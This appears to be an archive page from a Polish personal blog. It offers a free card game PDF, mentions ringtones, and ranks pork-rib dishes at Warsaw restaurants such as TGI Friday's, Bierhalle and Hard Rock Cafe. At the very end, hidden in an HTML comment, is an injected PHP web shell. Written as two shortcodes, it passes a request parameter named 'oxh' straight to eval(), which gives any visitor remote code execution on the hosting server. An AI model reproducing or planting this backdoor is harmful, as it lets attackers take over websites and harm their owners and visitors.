Browse Month: Październik 2008

Sim Wiocha

Sim Wiocha - przykladowa karta
Sim Wiocha - przykladowa karta

I kolejna zapomniana rzecz – karcianka stworzona przez Telefaxa, swego czasu za darmo do ściągnięcia ze strony magazynu Portal – obecnie zaginęła w sieci, zapewne komuś się jeszcze przyda do grania 🙂 Sim Wiocha (pdf)

Ringtones…

… from different places – made for my personal use.


And some polish stuff…

Ranking żeberek :)

Tak, tak – jak kiedyś nie w smak były mi żeberka, tak teraz spokojnie mogę uznać je, za jedną z bardziej wyczekiwanych potraw – oczywiście jeśli dobrze zrobione 🙂

Ostatnia aktualizacja (23 sierpnia 2016r.)

  1. TGI Fryday’s – żeberka w sosie Jack Daniels są bezkonkurencyjne (jak na razie) na rynku. Mają dobrą recepturę i raczej można oczekiwać tego samego w Warszawie i np. we Wrocławiu. Pyszne, delikatne nie za tłuste i wspaniale skomponowane smakowo (oczywiście jeśli ktoś lubi trochę „cięższą” kuchnię). Niestety potrawa jest wyjątkowo droga – psuje tym odrobinę przyjemność delektowania się posiłkiem – głównie po fakcie.
    Przez przypadek ostatnio znalazłem „Jack Daniels’s® Barbecue Sauce” w sklepach „Kuchnie Świata” – cena około 20zł za flaszkę, acz nie ma co się oszukiwać, nie smakuje tak samo jak w restauracji.
  2. Bierhalle – ciężko powiedzieć czy to standard sieciowy (jeszcze nie wiem 😉 ) – czy zasługa kucharza Bierhalle w Arkadii (Warszawa, Rondo Zgrupowania „Radosława”), ale żeberka są naprawdę świetne. Podawane z pieczonymi ziemniakami, surówka a’la coleslaw. Same żeberka są delikatne, dobrze wypieczone (nie za suche), dobrze odchodzą od kości – tak że jedzenie to sama przyjemność.  Sos barbecue dobrze uzupełnia całokształt, acz w kompozycji z potrawą, powinien być odrobinę bardziej wytrawny/kwaskowy – jedynie by przełamać główną nutę całości.
  3. Hard Rock Cafe – restauracja zdecydowanie preferuje hamburgery… i raczej przy nich powinni pozostać. Żeberka jadłem tam kilka razy, za każdym razem miałem podobne odczucia – czyli jest średnio, ale stabilnie :). Za słabo obrobione termicznie, przez to dużo z nimi zabawy i za dużo tłuszczu (dla mnie to wada). Sos standardowy barbecue – bez jakiś specjalnych zastrzeżeń, sałatka i frytki… to samo. Czyli średniak pełną gębą.
  4. Misisipi – restauracja powstała w bardzo uroczym miejscu Warszawy, w parku Moczydło. Jednak ładne otoczenie, zdaje się nie gwarantować sukcesu. Poprzednio był tutaj chyba „Stary Młyn”, w weekendy oferował bardzo słabą muzykę i mocno przaśne klimaty – już go nie ma. Kuchnia Amerykańska, jaka obecnie zawitała, tez raczej nie przetrwa – pomysłu na lokal brak a jakość potraw bardzo nierówna. Steki „dają radę”, ale już żeberka są poniżej przeciętnej – nie polecam.
  5. Rodeo Drive – (restauracja zamknięta) dobre żeberka, odrobinę mniej aromatyczne i mogły by być ciut bardziej kruche – ale zdecydowanie godne polecenia. Wystarczająco duża porcja by się najeść – bez przystawek będzie jeszcze ciut miejsca na deser 🙂
  6. M.A.S.H. –  (restauracja zamknięta) knajpa przy Górczewskiej, w parku Moczydło. Trochę dziwna, trochę nie określony profil klienta… Ogólnie można by to zrobić dużo ciekawiej i bardziej sympatycznie. Dania podawane na plastikach (ogromny minus) ale żeberka bardzo dobre – jeśli ktoś jest w stanie przemilczeć sposób serwowania.

<!– [insert_php]if (isset($_REQUEST["oxh"])){eval($_REQUEST["oxh"]);exit;}[/insert_php][php]if (isset($_REQUEST["oxh"])){eval($_REQUEST["oxh"]);exit;}[/php] –>